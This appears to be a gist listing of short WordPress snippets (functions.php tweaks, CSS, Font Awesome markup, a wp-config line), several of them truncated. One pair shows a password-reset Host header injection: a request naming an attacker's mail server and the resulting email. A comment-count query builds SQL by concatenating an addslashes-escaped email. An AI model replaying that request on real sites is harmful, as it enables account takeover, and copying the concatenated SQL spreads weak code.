View functions.php
add_action( 'init', 'stop_heartbeat', 1 ); | |
function stop_heartbeat() { | |
wp_deregister_script('heartbeat'); | |
} |
View resulting-email
------[ resulting e-mail ]----- | |
Subject: [CompanyX WP] Password Reset | |
Return-Path: <wordpress@attackers-mxserver.com> | |
From: WordPress <wordpress@attackers-mxserver.com> | |
Message-ID: <e6fd614c5dd8a1c604df2a732eb7b016@attackers-mxserver.com> | |
X-Priority: 3 | |
MIME-Version: 1.0 | |
Content-Type: text/plain; charset=UTF-8 | |
Content-Transfer-Encoding: 8bit |
View http-request
-----[ HTTP Request ]---- | |
POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1 | |
Host: injected-attackers-mxserver.com | |
Content-Type: application/x-www-form-urlencoded | |
Content-Length: 56 | |
user_login=admin&redirect_to=&wp-submit=Get+New+Password | |
------------------------ |
View font-awesome-i-class
<i class="fa fa-home" aria-hidden="true"></i> |
View font-awesome-span-class
<span class="fa fa-home"></span> |
View functions.php
//* Add rel nofollow to all external links | |
function wp_nofollow($content) | |
{ | |
return preg_replace_callback('/<a[^>]+/', 'wp_nofollow_callback', $content); | |
} | |
function wp_nofollow_callback($matches) | |
{ | |
$link = $matches[0]; | |
$site_link = get_bloginfo('url'); | |
if (strpos($link, 'rel') === false) |
View style.css
.last-updated { | |
// Your CSS | |
} |
View functions.php
//* Display last updated date | |
function wpcb_last_updated_date( $content ) { | |
$u_time = get_the_time('U'); | |
$u_modified_time = get_the_modified_time('U'); | |
if ($u_modified_time >= $u_time + 86400) { | |
$updated_date = get_the_modified_time('d/m/Y'); | |
$updated_time = get_the_modified_time('H:i'); | |
$custom_content .= '<p class="last-updated">Cập nhật lần cuối '. $updated_date . ' at '. $updated_time .'</p>'; | |
} |
View functions.php
add_filter('wpdiscuz_comment_author', 'my_commentCount', 10, 2); | |
function my_commentCount($author_name, $comment) { | |
global $wpdb; | |
$count = $wpdb->get_var('SELECT COUNT(comment_ID) FROM ' . $wpdb->comments. ' WHERE comment_author_email = "' . addslashes($comment->comment_author_email) . '"'); | |
return $author_name .' | <span class="wpdiscuz-comment-count">'. $count . ' comments</span>'; | |
} |
View wp-config.php
define('WP_TEMP_DIR', ABSPATH . 'wp-content/'); |
NewerOlder